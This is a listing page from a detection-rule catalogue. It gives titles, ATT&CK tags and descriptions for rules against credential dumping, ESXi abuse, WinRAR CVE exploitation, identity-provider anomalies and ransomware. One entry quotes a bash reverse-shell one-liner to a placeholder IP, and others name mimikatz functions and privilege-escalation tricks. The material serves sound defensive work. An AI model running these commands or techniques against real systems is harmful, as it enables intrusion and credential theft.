Detection.FYI

Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.

Rundll32 Execution Without CommandLine Parameters

Sep 16, 2023 · attack.defense_evasion attack.t1202 ·

Share on:

Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity

Access To .Reg/.Hive Files By Uncommon Application

Sep 15, 2023 · attack.t1112 attack.defense_evasion ·

Share on:

Detects file access requests to files ending with either the ".hive"/".reg" extension, usally associated with Windows Registry backups.

Access To Browser Credential Files By Uncommon Application

Sep 15, 2023 · attack.t1003 attack.credential_access ·

Share on:

Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage

Access To Windows Credential History File By Uncommon Application

Sep 15, 2023 · attack.credential_access attack.t1555.004 ·

Share on:

Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function

Access To Windows DPAPI Master Keys By Uncommon Application

Sep 15, 2023 · attack.credential_access attack.t1555.004 ·

Share on:

Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function

Credential Manager Access By Uncommon Application

Sep 15, 2023 · attack.t1003 attack.credential_access ·

Share on:

Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function

Diskshadow Script Mode - Execution From Potential Suspicious Location

Sep 15, 2023 · attack.execution attack.t1218 ·

Share on:

Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.

Diskshadow Script Mode - Uncommon Script Extension Execution

Sep 15, 2023 · attack.execution attack.t1218 ·

Share on:

Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.

Potentially Suspicious Child Process Of DiskShadow.EXE

Sep 15, 2023 · attack.execution attack.t1218 ·

Share on:

Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.

Invalid PIM License

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when an organization doesn't have the proper license for PIM and is out of compliance.

Roles Activated Too Frequently

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when the same privilege role has multiple activations by the same user.

Roles Activation Doesn't Require MFA

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when a privilege role can be activated without performing mfa.

Roles Are Not Being Used

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when a user has been assigned a privilege role and are not using that role.

Roles Assigned Outside PIM

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.

Stale Accounts In A Privileged Role

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies when an account hasn't signed in during the past n number of days.

Too Many Global Admins

Sep 14, 2023 · attack.t1078 attack.persistence attack.privilege_escalation ·

Share on:

Identifies an event where there are there are too many accounts assigned the Global Administrator role.

Suspicious Elevated System Shell

Sep 14, 2023 · attack.privilege_escalation attack.defense_evasion attack.execution attack.t1059 ·

Share on:

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges.

Extract Credentials From IIS Application Pool Configuration Files

Sep 13, 2023 · attack.CredentialAccess attack.T1552.001 ·

Share on:

Detects the execution of appcmd.exe that is used to extract credentials from configuration files. IIS application pools can run as different users for security and isolation purposes. When a user is specified for the application pool, their credentials are stored in plaintext in the configuration file.

LSASS Process Memory Dump Files

Sep 13, 2023 · attack.credential_access attack.t1003.001 ·

Share on:

Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.

Suspicious Sysmon as Execution Parent

Sep 13, 2023 · attack.privilege_escalation attack.t1068 cve.2022.41120 detection.emerging_threats ·

Share on:

Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)

Azure AD Threat Intelligence

Sep 11, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Indicates user activity that is unusual for the user or consistent with known attack patterns.

Malicious IP Address Sign-In Failure Rate

Sep 11, 2023 · attack.t1090 attack.command_and_control ·

Share on:

Indicates sign-in from a malicious IP address based on high failure rates.

Malicious IP Address Sign-In Suspicious

Sep 11, 2023 · attack.t1090 attack.command_and_control ·

Share on:

Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.

Primary Refresh Token Access Attempt

Sep 11, 2023 · attack.t1528 attack.credential_access ·

Share on:

Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft

Okta Identity Provider Created

Sep 11, 2023 · attack.persistence attack.t1098.001 ·

Share on:

Detects when a new identity provider is created for Okta.

Okta New Admin Console Behaviours

Sep 11, 2023 · attack.initial_access attack.t1078.004 ·

Share on:

Detects when Okta identifies new activity in the Admin Console.

Okta Suspicious Activity Reported by End-user

Sep 11, 2023 · attack.resource_development attack.t1586.003 ·

Share on:

Detects when an Okta end-user reports activity by their account as being potentially suspicious.

Okta User Session Start Via An Anonymising Proxy Service

Sep 11, 2023 · attack.defense_evasion attack.t1562.006 ·

Share on:

Detects when an Okta user session starts where the user is behind an anonymising proxy service.

Fsutil Suspicious Invocation

Sep 10, 2023 · attack.defense_evasion attack.impact attack.t1070 attack.t1485 ·

Share on:

Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).

New Firewall Rule Added In Windows Firewall Exception List

Sep 10, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects when a rule has been added to the Windows Firewall exception list

Suspicious Scripting in a WMI Consumer

Sep 10, 2023 · attack.execution attack.t1059.005 ·

Share on:

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

Potential Dead Drop Resolvers

Sep 8, 2023 · attack.command_and_control attack.t1102 attack.t1102.001 ·

Share on:

Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.

Suspicious Epmap Connection

Sep 7, 2023 · attack.lateral_movement ·

Share on:

Detects suspicious "epmap" connection to a remote computer via remote procedure call (RPC)

ESXi Syslog Configuration Change Via ESXCLI

Sep 7, 2023 · attack.defense_evasion attack.t1562.001 attack.t1562.003 ·

Share on:

Detects changes to the ESXi syslog configuration via "esxcli"

7Zip Compressing Dump Files

Sep 7, 2023 · attack.collection attack.t1560.001 ·

Share on:

Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

Copy from Admin Share

Sep 7, 2023 · attack.lateral_movement attack.collection attack.exfiltration attack.t1039 attack.t1048 attack.t1021.002 ·

Share on:

Detects a suspicious copy command to or from an Admin share or remote

CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File

Sep 7, 2023 · attack.execution cve.2023.38331 detection.emerging_threats ·

Share on:

Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331

CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process

Sep 7, 2023 · detection.emerging_threats attack.execution attack.t1203 cve.2023.38331 ·

Share on:

Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.

CVE-2023-40477 Potential Exploitation - .REV File Creation

Sep 7, 2023 · attack.execution cve.2023.40477 detection.emerging_threats ·

Share on:

Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.

CVE-2023-40477 Potential Exploitation - WinRAR Application Crash

Sep 7, 2023 · attack.execution cve.2023.40477 detection.emerging_threats ·

Share on:

Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477

FoggyWeb Backdoor DLL Loading

Sep 7, 2023 · attack.resource_development attack.t1587 detection.emerging_threats ·

Share on:

Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll

IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32

Sep 7, 2023 · attack.defense_evasion attack.t1218.011 detection.emerging_threats ·

Share on:

Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols

Sep 7, 2023 · attack.defense_evasion ·

Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Sep 7, 2023 · attack.execution attack.defense_evasion ·

Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

LOL-Binary Copied From System Directory

Sep 7, 2023 · attack.defense_evasion attack.t1036.003 ·

Share on:

Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.

LOLBIN Execution From Abnormal Drive

Sep 7, 2023 · attack.defense_evasion ·

Share on:

Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.

LSASS Dump Keyword In CommandLine

Sep 7, 2023 · attack.credential_access attack.t1003.001 ·

Share on:

Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.

Old TLS1.0/TLS1.1 Protocol Version Enabled

Sep 7, 2023 · attack.defense_evasion ·

Share on:

Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.

Pingback Backdoor DLL Loading Activity

Sep 7, 2023 · attack.persistence attack.t1574.001 detection.emerging_threats ·

Share on:

Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report

Potential Browser Data Stealing

Sep 7, 2023 · attack.credential_access attack.t1555.003 ·

Share on:

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

Potential Credential Dumping Via LSASS Process Clone

Sep 7, 2023 · attack.credential_access attack.t1003 attack.t1003.001 ·

Share on:

Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity

Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution

Sep 7, 2023 · attack.execution cve.2023.36874 detection.emerging_threats ·

Share on:

Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874

Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation

Sep 7, 2023 · attack.execution cve.2023.36874 detection.emerging_threats ·

Share on:

Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.

Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location

Sep 7, 2023 · attack.execution cve.2023.36874 detection.emerging_threats ·

Share on:

Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874.

Potential WinAPI Calls Via CommandLine

Sep 7, 2023 · attack.execution attack.t1106 ·

Share on:

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec

Potentially Suspicious Child Process Of WinRAR.EXE

Sep 7, 2023 · attack.execution attack.t1203 ·

Share on:

Detects potentially suspicious child processes of WinRAR.exe.

Potentially Suspicious Windows App Activity

Sep 7, 2023 · attack.defense_evasion ·

Share on:

Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue ".appx" package installation/execution

Rundll32 Spawned Via Explorer.EXE

Sep 7, 2023 · attack.defense_evasion ·

Share on:

Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.

Suspicious Child Process Of Manage Engine ServiceDesk

Sep 7, 2023 · attack.command_and_control attack.t1102 ·

Share on:

Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service

Suspicious Copy From or To System Directory

Sep 7, 2023 · attack.defense_evasion attack.t1036.003 ·

Share on:

Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.

VMMap Signed Dbghelp.DLL Potential Sideloading

Sep 7, 2023 · attack.defense_evasion attack.persistence attack.privilege_escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.

VMMap Unsigned Dbghelp.DLL Potential Sideloading

Sep 7, 2023 · attack.defense_evasion attack.persistence attack.privilege_escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.

Winrar Compressing Dump Files

Sep 7, 2023 · attack.collection attack.t1560.001 ·

Share on:

Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

Winrar Execution in Non-Standard Folder

Sep 7, 2023 · attack.collection attack.t1560.001 ·

Share on:

Detects a suspicious winrar execution in a folder which is not the default installation folder

Potentially Suspicious Electron Application CommandLine

Sep 6, 2023 · attack.execution ·

Share on:

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

Suspicious Electron Application Child Processes

Sep 6, 2023 · attack.execution ·

Share on:

Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)

ADS Zone.Identifier Deleted By Uncommon Application

Sep 6, 2023 · attack.defense_evasion attack.t1070.004 ·

Share on:

Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.

ESXi Account Creation Via ESXCLI

Sep 6, 2023 · attack.persistence attack.t1136 ·

Share on:

Detects user account creation on ESXi system via esxcli

ESXi Admin Permission Assigned To Account Via ESXCLI

Sep 6, 2023 · attack.execution ·

Share on:

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

ESXi Network Configuration Discovery Via ESXCLI

Sep 6, 2023 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

ESXi Storage Information Discovery Via ESXCLI

Sep 6, 2023 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

ESXi System Information Discovery Via ESXCLI

Sep 6, 2023 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

ESXi VM Kill Via ESXCLI

Sep 6, 2023 · attack.execution ·

Share on:

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

ESXi VM List Discovery Via ESXCLI

Sep 6, 2023 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

ESXi VSAN Information Discovery Via ESXCLI

Sep 6, 2023 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

SQL Injection Strings In URI

Sep 6, 2023 · attack.initial_access attack.t1190 ·

Share on:

Detects potential SQL injection attempts via GET requests in access logs.

Activity From Anonymous IP Address

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

Anomalous Token

Sep 6, 2023 · attack.t1528 attack.credential_access ·

Share on:

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

Anomalous User Activity

Sep 6, 2023 · attack.t1098 attack.persistence ·

Share on:

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

Atypical Travel

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

Azure AD Account Credential Leaked

Sep 6, 2023 · attack.t1589 attack.reconnaissance ·

Share on:

Indicates that the user's valid credentials have been leaked.

Impossible Travel

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

New Country

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.

Password Spray Activity

Sep 6, 2023 · attack.t1110 attack.credential_access ·

Share on:

Indicates that a password spray attack has been successfully performed.

SAML Token Issuer Anomaly

Sep 6, 2023 · attack.t1606 attack.credential_access ·

Share on:

Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns

Sign-In From Malware Infected IP

Sep 6, 2023 · attack.t1090 attack.command_and_control ·

Share on:

Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.

Suspicious Browser Activity

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser

Suspicious Inbox Forwarding Identity Protection

Sep 6, 2023 · attack.t1140 attack.defense_evasion ·

Share on:

Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address

Suspicious Inbox Manipulation Rules

Sep 6, 2023 · attack.t1140 attack.defense_evasion ·

Share on:

Detects suspicious rules that delete or move messages or folders are set on a user's inbox.

Unfamiliar Sign-In Properties

Sep 6, 2023 · attack.t1078 attack.persistence attack.defense_evasion attack.privilege_escalation attack.initial_access ·

Share on:

Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.

New Port Forwarding Rule Added Via Netsh.EXE

Sep 1, 2023 · attack.lateral_movement attack.defense_evasion attack.command_and_control attack.t1090 ·

Share on:

Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule

Qakbot Uninstaller Execution

Sep 1, 2023 · detection.emerging_threats attack.execution ·

Share on:

Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet

Path Traversal Exploitation Attempts

Sep 1, 2023 · attack.initial_access attack.t1190 ·

Share on:

Detects path traversal exploitation attempts

Malicious QakBot Dropped File Creation (Event 4663)

Sep 1, 2023 · attack.initial_access attack.defense_evasion attack.t1566 attack.t1027 attack.t1553 ·

Share on:

Detects creation of files potentially associated with QakBot initial infection, documented by Adithya Chandra and Sushant Kumar Arya of Trellix in August 2022.

Network Connections Where There Should Not Be (Notepad)

Sep 1, 2023 · attack.privilege_escalation attack.t1055 ·

Share on:

Looks for network connections from notepad. Inspired by the 2022 Red Canary Threat Detection report.

Possible Impacket DCOMExec Connection Attempt - Zeek

Sep 1, 2023 · attack.s0357 attack.execution attack.lateral_movement attack.t1021 attack.t1021.003 ·

Share on:

Detects attempts to connect via DCOM Endpoints, as used by Impacket DCOMExec. This event will occur on successful or unsuccessful attempts using any of the three DCOMExec -object options.

Possible Impacket Secretsdump.py Activity

Sep 1, 2023 · attack.s0357 attack.credential_access attack.t1003 attack.t1003.003 attack.t1003.006 ·

Share on:

Detects attempts to retrieve/dump credentials using the DL_DRSGetNCChanges() method.

Shrpubw Execution from Unexpected File Path

Sep 1, 2023 · attack.persistence attack.t1574 attack.t1574.001 ·

Share on:

Looks for the execution of svchost without the normal -k parameter. Inspired by the 2022 Red Canary Threat Detection report.

Suspicious 'Admin' Local User Creation with Net Command

Sep 1, 2023 · attack.persistence attack.privilege_escalation attack.t1136.001 attack.t1136 attack.t1078 attack.t1078.003 ·

Share on:

Detects creation of a local user account using the net command with 'Admin' in the name - this technique is used by Vice Society ransomware gang to create bogus user accounts that attempt to blend in with an administrative user account naming convention.

Suspicious BlackCat-Related Exfiltration Command

Sep 1, 2023 · attack.exfiltration attack.t1020 attack.t1537 ·

Share on:

Detects process execution of RClone or similar tools used by ransomware operators to exfiltrate data.

Suspicious Calc Child Process

Sep 1, 2023 · attack.defense_evasion attack.t1218 ·

Share on:

Detects the suspicious child process of calc

Suspicious Command Arguments from Explorer or Wermgr

Sep 1, 2023 · attack.discovery attack.t1082 ·

Share on:

Detects the suspicious command line arguments from potentially-injected versions of explorer or wermgr processes.

Suspicious Process Injection to Explorer

Sep 1, 2023 · attack.defense_evasion attack.t1218 ·

Share on:

Detects the suspicious child process of regsvr32

Potential Privilege Escalation Using Symlink Between Osk and Cmd

Aug 29, 2023 · attack.privilege_escalation attack.persistence attack.t1546.008 ·

Share on:

Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.

A Member Was Added to a Security-Enabled Global Group

Aug 28, 2023 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a member is added to a security-enabled global group

A Member Was Removed From a Security-Enabled Global Group

Aug 28, 2023 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a member is removed from a security-enabled global group

A Rule Has Been Deleted From The Windows Firewall Exception List

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

A Security-Enabled Global Group Was Deleted

Aug 28, 2023 · attack.persistence attack.t1098 ·

Share on:

Detects activity when a security-enabled global group is deleted

Abusing IEExec To Download Payloads

Aug 28, 2023 · attack.command_and_control attack.t1105 ·

Share on:

Detects execution of the IEExec utility to download payloads

Add or Remove Computer from DC

Aug 28, 2023 · attack.defense_evasion attack.t1207 ·

Share on:

Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.

ADSelfService Exploitation

Aug 28, 2023 · cve.2021.40539 detection.emerging_threats attack.initial_access attack.t1190 ·

Share on:

Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539

All Rules Have Been Deleted From The Windows Firewall Configuration

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects when a all the rules have been deleted from the Windows Defender Firewall configuration

Apache Threading Error

Aug 28, 2023 · attack.initial_access attack.lateral_movement attack.t1190 attack.t1210 ·

Share on:

Detects an issue in apache logs that reports threading related errors

Certificate Exported Via PowerShell

Aug 28, 2023 · attack.credential_access attack.execution attack.t1552.004 attack.t1059.001 ·

Share on:

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Cross Site Scripting Strings

Aug 28, 2023 · attack.initial_access attack.t1189 ·

Share on:

Detects XSS attempts injected via GET requests in access logs

Device Installation Blocked

Aug 28, 2023 · attack.initial_access attack.t1200 ·

Share on:

Detects an installation of a device that is forbidden by the system policy

Execution of Powershell Script in Public Folder

Aug 28, 2023 · attack.execution attack.t1059.001 ·

Share on:

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

Firewall Rule Modified In The Windows Firewall Exception List

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects when a rule has been modified in the Windows firewall exception list

Gzip Archive Decode Via PowerShell

Aug 28, 2023 · attack.command_and_control attack.t1132.001 ·

Share on:

Detects attempts of decoding encoded Gzip archives via PowerShell.

HackTool - CrackMapExec Execution

Aug 28, 2023 · attack.execution attack.persistence attack.privilege_escalation attack.credential_access attack.discovery attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.t1110 attack.t1201 ·

Share on:

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

HackTool - PCHunter Execution

Aug 28, 2023 · attack.execution attack.discovery attack.t1082 attack.t1057 attack.t1012 attack.t1083 attack.t1007 ·

Share on:

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

Interactive Bash Suspicious Children

Aug 28, 2023 · attack.execution attack.defense_evasion attack.t1059.004 attack.t1036 ·

Share on:

Detects suspicious interactive bash as a parent to rather uncommon child processes

ISO or Image Mount Indicator in Recent Files

Aug 28, 2023 · attack.initial_access attack.t1566.001 ·

Share on:

Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.

Java Payload Strings

Aug 28, 2023 · cve.2022.26134 cve.2021.26084 attack.initial_access attack.t1190 ·

Share on:

Detects possible Java payloads in web access logs

JNDIExploit Pattern

Aug 28, 2023 · attack.initial_access attack.t1190 ·

Share on:

Detects exploitation attempt using the JNDI-Exploit-Kit

Linux Crypto Mining Indicators

Aug 28, 2023 · attack.impact attack.t1496 ·

Share on:

Detects command line parameters or strings often used by crypto miners

Linux Crypto Mining Pool Connections

Aug 28, 2023 · attack.impact attack.t1496 ·

Share on:

Detects process connections to a Monero crypto mining pool

Linux Reverse Shell Indicator

Aug 28, 2023 · attack.execution attack.t1059.004 ·

Share on:

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request

Aug 28, 2023 · cve.2023.34362 detection.emerging_threats attack.persistence attack.t1505.003 ·

Share on:

Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362

New Firewall Exception Rule Added For A Suspicious Folder

Aug 28, 2023 · attack.defense_evasion attack.t1562.004 ·

Share on:

Detects the addition of a rule to the Windows Firewall exception list where the application resides in a suspicious folder

Nohup Execution

Aug 28, 2023 · attack.execution attack.t1059.004 ·

Share on:

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Outgoing Logon with New Credentials

Aug 28, 2023 · attack.defense_evasion attack.lateral_movement attack.t1550 ·

Share on:

Detects logon events that specify new credentials

Parent in Public Folder Suspicious Process

Aug 28, 2023 · attack.defense_evasion attack.execution attack.t1564 attack.t1059 ·

Share on:

This rule detects suspicious processes with parent images located in the C:\Users\Public folder

Password Protected ZIP File Opened

Aug 28, 2023 · attack.defense_evasion attack.t1027 ·

Share on:

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

Password Protected ZIP File Opened (Email Attachment)

Aug 28, 2023 · attack.defense_evasion attack.initial_access attack.t1027 attack.t1566.001 ·

Share on:

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

Password Protected ZIP File Opened (Suspicious Filenames)

Aug 28, 2023 · attack.command_and_control attack.defense_evasion attack.t1027 attack.t1105 attack.t1036 ·

Share on:

Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.

Password Provided In Command Line Of Net.EXE

Aug 28, 2023 · attack.defense_evasion attack.initial_access attack.persistence attack.privilege_escalation attack.lateral_movement attack.t1021.002 attack.t1078 ·

Share on:

Detects a when net.exe is called with a password in the command line

Potential BlackByte Ransomware Activity

Aug 28, 2023 · detection.emerging_threats attack.execution attack.defense_evasion attack.impact attack.t1485 attack.t1498 attack.t1059.001 attack.t1140 ·

Share on:

Detects command line patterns used by BlackByte ransomware in different operations

Potential COM Objects Download Cradles Usage - Process Creation

Aug 28, 2023 · attack.command_and_control attack.t1105 ·

Share on:

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

Potential COM Objects Download Cradles Usage - PS Script

Aug 28, 2023 · attack.command_and_control attack.t1105 ·

Share on:

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

Potential CVE-2023-27997 Exploitation Indicators

Aug 28, 2023 · cve.2023.27997 attack.initial_access attack.t1190 ·

Share on:

Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter

Potential DLL File Download Via PowerShell Invoke-WebRequest

Aug 28, 2023 · attack.command_and_control attack.execution attack.t1059.001 attack.t1105 ·

Share on:

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet

Potential Exploitation Attempt Of Undocumented WindowsServer RCE

Aug 28, 2023 · detection.emerging_threats attack.initial_access attack.t1190 ·

Share on:

Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)

Potential In-Memory Execution Using Reflection.Assembly

Aug 28, 2023 · attack.defense_evasion attack.t1620 ·

Share on:

Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory

Potentially Suspicious Execution From Tmp Folder

Aug 28, 2023 · attack.defense_evasion attack.t1036 ·

Share on:

Detects a potentially suspicious execution of a process located in the '/tmp/' folder

Potentially Suspicious PowerShell Child Processes

Aug 28, 2023 · attack.execution attack.t1059.001 ·

Share on:

Detects potentially suspicious child processes spawned by PowerShell

Powershell Inline Execution From A File

Aug 28, 2023 · attack.execution attack.t1059.001 ·

Share on:

Detects inline execution of PowerShell code from a file

PowerShell Web Download

Aug 28, 2023 · attack.command_and_control attack.execution attack.t1059.001 attack.t1105 ·

Share on:

Detects suspicious ways to download files or content using PowerShell

